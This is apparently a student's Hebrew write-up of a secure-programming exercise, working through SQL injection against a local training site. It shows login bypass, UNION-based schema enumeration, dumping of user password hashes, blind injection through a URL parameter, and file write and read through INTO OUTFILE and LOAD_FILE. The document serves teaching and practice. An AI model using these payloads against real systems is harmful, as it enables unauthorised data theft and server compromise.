

תרגיל 1 - תכנות בטוח

סעיף ראשון:

התחלתי במחקר היכרות קצר עם עמוד הכניסה לאתר של התרגיל. רציתי להבין כיצד אוכל להזריק קוד לתוך שאילתת ה-SQL בה נעשה שימוש למען גישה למסד הנתונים. התחלתי בבדיקות שפיות נורמטיביות על מנת להבין את התנהגות האתר. הבחנתי שכאשר האתר מקבל קלט נורמטיבי. כלומר, כאשר אני מכניס לתיבת הטקסט של שם המשתמש והסיסמא תווים רגילים (לא תווים מיוחדים, גם ללא מירכאות, סוגריים ורווחים). הבחנתי שכאשר קלט כזה מתקבל, אני מקבל את ההודעה הבאה:

Invalid password!

מכאן התחלתי לשער שזו הודעת השגיאה המודפסת על ידי שרת ה-PHP כאשר מוחזרת תשובה בעלת 0 רשומות (תשובה ריקה) משרת ה-MYSQL.

לאחר מכן, התחלתי לשחק מעט עם הקלטים ושמתי קלט של 'test' (גרש ולאחר מכן המילה test) בשם המשתמש וקלט ריק בסיסמא וקיבלתי הודעת שגיאה מאוד מעניינת:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'test') AND (password='d41d8cd98f00b204e9800998ecf8427e')' at line 1

הודעת שגיאה זו מעניינת משתי סיבות. הראשונה, למראית העין, זוהי הודעת שגיאה שנזרקה על ידי שרת ה-SQL ולא על ידי שרת ה-PHP. השגיאה נזרקה על ידי שרת ה-SQL ושרת ה-PHP פשוט הדפיס את הודעת השגיאה למשתמש. בכך מבוטל המיסוך משרת ה-SQL ונוכל ללמוד על מימוש האתר והקשר ביניהם יותר בקלות.

כמו כן, אנו רואים שאילתת ה-SQL בהודעת השגיאה (אפשר להסיק זאת מ-syntax בסיסי של SQL וכן הופעת המחרוזת test שהכנסנו לשם המשתמש בשאילתא.

מהודעת שגיאה זו הסקתי כי מימוש שאילתת ה-SQL הוא מהנוסח הבא בשביל לפלטר על פי קלט משתמש האתר:

Where (username='{username_input}') AND (password='{password_input}')

נבחין גם ברצף התווים המוזר שבשאילתת ה-SQL בעבור קלט הסיסמא. לאחר מכן הכנסתי למספר אלגוריתמי hash קלט של מחרוזת ריקה וראיתי שזה אכן פלט של אלגוריתם MD5 בעבור מחרוזת ריקה. לכן, ניעזר אך ורק בקלט של תיבת המשתמש על מנת לבצע את הזרקה הקוד בה אנו מעוניינים.

הצלחנו בעבור הקלט הבא:

Login Page - Login bypass

Username:
Password:
☐ Admin connection

Welcome bob!

[Home](#)

סעיף שני:

כמו בסעיף הקודם, התחלתי בלחקור את התנהגות החיפוש. שמתי לב בקלות כי החיפוש עובד עבור תחילית של שם מוצר. לאחר מכן, ניסיתי להכניס גרש כדי לראות את התנהגות השרת וקיבלתי את השגיאה הבאה:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' at line 1

בשגיאה זו שנזרקה על ידי המסד נתונים, הסקתי כי השאילתא ככל הנראה כוללת שימוש באופרטור LIKE ותו מיוחד % ובסך הכל שככל הנראה השאילתא היא בסגנון הבא:

```
SELECT ProductName, ProductType, ProductDescription, ProductPrice
Where ProductName LIKE '{search_input}%'
```

מכאן הסקתי שאם נעשה UNION נוכל לצרף לתוצאות המוחזרות בטבלה את המידע המבוקש ולכן כתבתי את הקלט הבא בתיבת הטקסט:

```
%' UNION SELECT 1, 2, user(), version(), @@hostname --
```

השתמשתי ב-'%' על מנת לקבל את כל הרשומות בטבלה (לא חייב לעשות כך - ניתן גם לא לקבל תוצאות כלל) ואיחדתי את התוצאות עם תוצאת הפונקציה user() שמחזירה את שם המשתמש שמחובר למסד הנתונים, תוצאת הפונקציה version() שמחזירה את גרסאת מסד הנתונים וכן משתנה הסביבה hostname שמכיל את השם מחשב של המסד.

תוך כדי, ראיתי כי בשאילתא מוחזרות 5 עמודות, למרות שהאתר מציג רק ארבעה מהן. כמו כן, שטיפוס המידע שמחזיר משתנה הסביבה של שם המחשב יכול להיות מאוחד רק בתוך העמודה החמישית.

התוצאות שהוחזרו הן (משתמש מחובר, גרסאת שרת, host - משמאל לימין):

weak@172.18.0.3	8.0.23	fc66ff792a8f
-----------------	--------	--------------

סעיף שלישי:

התחלתי בכך שניסיתי להוסיף לשאילתא שבה השתמשתי על מנת לפתור את הסעיף הקודם את החלק הבא - FROM a והבחנתי שמוצגת לי שגיאה ממסד הנתונים כי אין במסד טבלה בשם a. לכן, מימנתי סקריפט שמשתמש בעובדה זו על מנת לעשות brute-force למציאת כל הטבלאות הקיימות במסד הנתונים.

בעת הרצה, הבחנתי כי הפיתרון שלי לא מספיק טוב (אך בטח יעזור לי מאוד על מנת לאטמט דברים בסעיפים בהמשך ולעשות blind-sqli), משום שלוקח לו זמן רב מאוד לעבור על כל הטבלאות האפשריות (כל התווים האפשריים ובאורכים סבירים) ולכן חיפשתי דרך אחרת.

לאחר חיפוש קצר בדוקומנטציה של mysql, גיליתי שיש מסד בשרת ששמו INFORMATION_SCHEMA המכיל טבלה בשם TABLES המכילה מידע על הטבלאות השונות בשרת. לאחר קריאה נוספת על הטבלה, יצרתי את הזרקת השאילתא הבאה:

```
5' UNION SELECT 1, TABLE_SCHEMA, TABLE_NAME, TABLE_ROWS, ROW_FORMAT FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE' --
```

שאלתא זו הביאה לנו כפלט את כל הטבלאות בשרת ומידע עליהן (לפי הסדר - שם המסד, שם הטבלה, מספר השורות בטבלה, פורמט שורות הטבלה). הפלט היה:

Welcome bob!! Search for products here

Search for a product:

Product Name	Product Type	Description	Price (in USD)
sqlitraining	admins	1	Dynamic
sqlitraining	products	10	Dynamic
sqlitraining	secure_programmingAAAAAAAAAAAAA	0	Dynamic
sqlitraining	users	9	Dynamic

על מנת למצוא את הסיסמא של פרודו, נצטרך לחקור את תוכן הטבלאות. אך לשם כך, אנו צריכים לדעת את שמות העמודות בטבלאות. המשכתי לחקור את הדוקומנטציה הרשמית של mysql ומצאתי אודות הטבלה COLUMNS ב-INFORMATION_SCHEMA שמכילה מידע אודות כל העמודות שבשרת. מכאן רשמתי את ההזרקה הבאה:

```
5' UNION SELECT 1, COLUMN_NAME, ORDINAL_POSITION, COLUMN_TYPE, EXTRA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' —
```

התעניינתי ראשית בטבלה users כי אנחנו מחפשים את הסיסמא של המשתמש פרודו. מכאן קיבלתי את הפלט הבא:

Product Name	Product Type	Description	Price (in USD)
description	5	varchar(200)	
fname	4	varchar(30)	
id	1	int	auto_increment
password	3	varchar(33)	
username	2	varchar(200)	

כלומר, בטבלה חמש עמודות (על פי אינדקס העמודה) - מספר מזהה משתמש, שם משתמש, סיסמא, שם מלא ותיאור. ניתן לראות מידע מעניין נוסף שהצגתי בשאלתא.

כעת נבצע הזרקה נוספת על מנת לראות את תוכן הטבלה:

```
5' UNION SELECT 1, username, password, fname, description FROM users —
```

קיבלנו את הפלט הבא:

Product Name	Product Type	Description	Price (in USD)
admin	21232f297a57a5a743894a0e4a801fc3	admin	All hail the admin!!
bob	5f4dcc3b5aa765d61d8327deb882cf99	bobby	Sup! I love swimming!
ramesh	9aeaed51f2b0f6680c4ed4b07fb1a83c	ramesh	I love 5 star!
suresh	9aeaed51f2b0f6680c4ed4b07fb1a83c	suresh	I love 5 star toooo!
voldemort	856936b417f82c06139c74fa73b1abbe	voldemort	How dare you! Avada kedavra!
frodo	f0f8820ee817181d9c6852a097d70d8d	frodo	Need to go to Mordor. Like right now!
hodor	a55287e9d0b40429e5a944d10132c93e	hodor	Hodor
spongebob	324824121267f7868cf278f1a294331f	bobby2	I'm a Goofy Goober
rhombus	e52848c0eb863d96bc124737116f23a4	rambo	Im the rambo!! Bwahahaha!

אנחנו רואים את המשתמש פרודו! אנו כמו כן רואים שהסיסמא שמורה תחת פונקציית hash מסוימת. נקווה שמפתח האתר לא התאמץ רבות באבטחת הסיסמא ולכן פשוט השתמש באחד מאלגוריתמי ה-hash המוכרים ללא שינויים או תוספות. נכניס את ה-hash השמור למאגרי reverse hash מוכרים ונקבל שבעבור hash מסוג MD5, הסיסמא היא frodo. הצלחנו! הסיסמא של פרודו הינה frodo.

סעיף רביעי:

כבר מצאנו את הטבלה הסודית, שמה secure_programmingAAAAAAAAAAAAAAAA. נבצע בדיוק את השאילתא בה השתמשנו כדי למצוא את השדות של טבלת המשתמשים על מנת למצוא את שדות טבלה זו:

```
5' UNION SELECT 1, COLUMN_NAME, ORDINAL_POSITION, COLUMN_TYPE, EXTRA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='secure_programmingAAAAAAAAAAAAAAAA' —
```

קיבלנו את הפלט הבא:

Product Name	Product Type	Description	Price (in USD)
cyberHour	2	text	
cyberId	1	int	auto_increment

שאומר שיש שתי עמודות (אחת של מספר מזהה והשנייה של טקסט) בשם cyberId ו-cyberHour.

סעיף חמישי:

בסעיף זה ניעזר בשיטות של bling sqli על מנת למצוא את שם הטבלה במסד הנתונים secure וכן שמות השדות בה.

ניזכר כי כאשר מבצעים הזרקה "עיוורת", לא נקבל את התשובה שלנו ישירות (לא נקבל בעמוד תשובה עם שם הטבלה). אלא, נגיע אליה בדרך עקיפה. שתי דרכים עקיפות לדוגמא הן על פי התוכן המוחזר (השיטה בה נשתמש) - יש הבדל בהתנהגות האתר שמקדם אותנו לעבר מציאת המידע שמעניין אותנו וכן תזמון התשובות המוחזרות (להזריק פעולות שינה לשרת המסד ולמדוד את כמות הזמן שלוקח לתשובה לחזור).

ראשית ניסיתי לפתור את השאלה על ידי שימוש בשיטה הראשונה. לשם כך הייתי ראשית צריך למצוא איפה אני יכול להזריק לשאילתת ה-sql. הבחנתי שישנם ארגומנטים לאתר שמתקבלים על ידי שורת ה-URL. משום שכאשר נכנסתי לעמוד כאשר הייתי מחובר כ-bob, ה-URL היה הבא:
`http://localhost:8000/blindsql.php?user=bob`

כעת ניסיתי לראות מה הסוגר שמשמש להכנסת המשתנה באתר על ידי ניסוי וטעייה. ראשית ניסיתי להכניס כקלט – ('user=bob', שכן זה מה שהיה בסעיף הראשון וקיבלתי אתר "ריק" (לא הוצגו פרטי משתמש) - הסקתי שזה מה שקורה כאשר יש שגיאה בשאילתא. לאחר מכן ניסיתי להכניס בארגומנט – 'user=bob' והדבר הצליח, קיבלתי תשובה זהה מהאתר להתנהגות הרגילה.

מכאן הדרך קצרה למידול שיטת פעולה שתאפשר לנו לבצע bruteforce על שמות הטבלאות במסד הנתונים secure. בעבור הקלט הבא קיבלתי התנהגות רגילה (מוצגים פרטי המשתמש של bob):
`user=bob' UNION SELECT 1, 2, 3, 4, 5 FROM sqlitraining.users –`
ואילו בעבור טבלה שאינה קיימת, קיבלתי תשובה "ריקה".

מכאן הייתי מוכן לצאת לדרכי בכתיבת הסקריפט שמוצא לנו את שמות הטבלאות במסד הנתונים secure ולאחר מכן את שמות העמודות, מספר הערכים והערכים עצמם (את רוב התשתית כבר כתבתי בשיטה הראשונה בה ניסיתי לפתור את הסעיף השלישי).

ראו סקריפט מצורף.

סעיף שישי:

התחלתי בכך שנכנסתי לנתיב os_sql.php באתר על מנת לבחון את הנגישות שלי להזרקות. ראיתי עמוד דומה לעמוד של ה-blindsql וניסיתי להכניס כקלט הזרקה מהסעיף הקודם וראיתי שאכן זה עובד באותה הצורה.

כעת הלכתי לחפש בדוקומנטציה הרשמית של mysql על עבודה עם קבצים דרך שאילתות sql והגעתי לעמוד המסביר על שאילתת SELECT ... INTO ... שם מוסבר כי הדבר אפשרי על מנת לכתוב את פלט השאילתא לתוך קובץ במערכת הקבצים. כמו כן מוסבר שניתן לשנות את המפרידים בין העמודות והשורות לבחירתנו. נשתמש בזה כדי לכתוב לקובץ.
כמו כן, גם אם לא נחזיר דבר שיוצג שמסך, ככל הנראה הפקודה של כתיבה למערכת הקבצים תתרחש (על שרת ה-mysql כמובן). נכתוב פקודה מתאימה, נריצה ולאחר מכן נוודא על ידי פתיחת shell ידנית בתוך הקונטיינר המתאים.

הזרקת ה-sql שרשמתי הינה:

```
?user=5' union select 'Hello, World', null, null, null, null into outfile '/home/hello_world.txt' FIELDS
TERMINATED BY "
ENCLOSED BY "
ESCAPED BY "
LINES TERMINATED BY " –
```

ואכן לאחר מבט מהיר בקובץ /home/hello_world.txt אנו רואים כי התוכן שלו הוא אכן המחרוזת Hello, World.

על מנת להטיל קובץ בינארי, אנו יכולים להשתמש בסינטקס `select ... into outfile ...` (השוני הוא שהיא אינה מבצעת פעולת פרמוט כלל לקלט ואפשר להכניס קלט בינארי בקלות).

כך נוכל לכתוב קובץ בינארי על היעד. עם זאת, יש לנו מספר הגבלות: לקובץ החדש שנוצר אין הרשאות הרצה. בנוסף, נצטרך לכתוב קובץ חדש (מגבלה של mysql) ולכן לא נוכל כך להתחמק מהמגבלה הקודמת שתיארתי. יתרה מכך, רק שורה אחת משאילתת ה-`select` יכולה להיכתב לקובץ הבינארי (לא בעיה בהזרקה). גם במקרה של שימוש בכתיבה של תוכן בינארי וגם טקסטואלי, בעיות פורמט הינן נפוצות וזה מסורבל יחסית.

סעיף שביעי:

פעלתי בשיטת פעולה זוהי לאיך שפעלתי בסעיף השישי וחיפשתי דרך ב-mysql לקרוא קובץ דרך שאילתת SQL. שם נתקלתי בפונקציה `LOAD_FILE`. ראיתי כי הטיפוס של המידע המוחזר הוא BLOB (מידע בינארי) ושם התחילו קשיים רבים. ניסיתי להכניס לסקריפט הזרקה שתאפשר לי לקרוא את הקובץ באמצעותו אך נתקלתי בבעיות רבות כאשר הגעתי לפעולת ההשוואה בין `byte` (כחלק מהמידע הבינארי) לבין דברים אחרים על מנת לעשות חיפוש.

לאחר ניסיונות רבים, ראיתי כי החל מגרסה 5.20 ב-mysql יש פונקציות של המרה מ-/ל-`base64`. החלטתי להשתמש בהן על מנת להמיר את המידע הבינארי לתווים וכך אוכל בצורה זוהי לחיפוש שעשיתי בסקריפט עבור סעיף 5, לקרוא ולהוציא לקובץ את תוכן הקובץ על השרת.

תוכן הקובץ הינו (ניתן לראות גם בקובץ המצורף בהגשה):

```
b'\x1f\xd1\xa7-  
\x0fj\xa3\xb5\xa7L\xa6\x99\x08[\xbe\xec\xa4\xb2t\xaf^\xa7D\x89\xd1\xf1\xc0\x17\x80\x80G'\x8  
3'\xea\xf40W\xd0kA'
```

ניתן לראות את הסקריפט והקובץ ולהתרשם.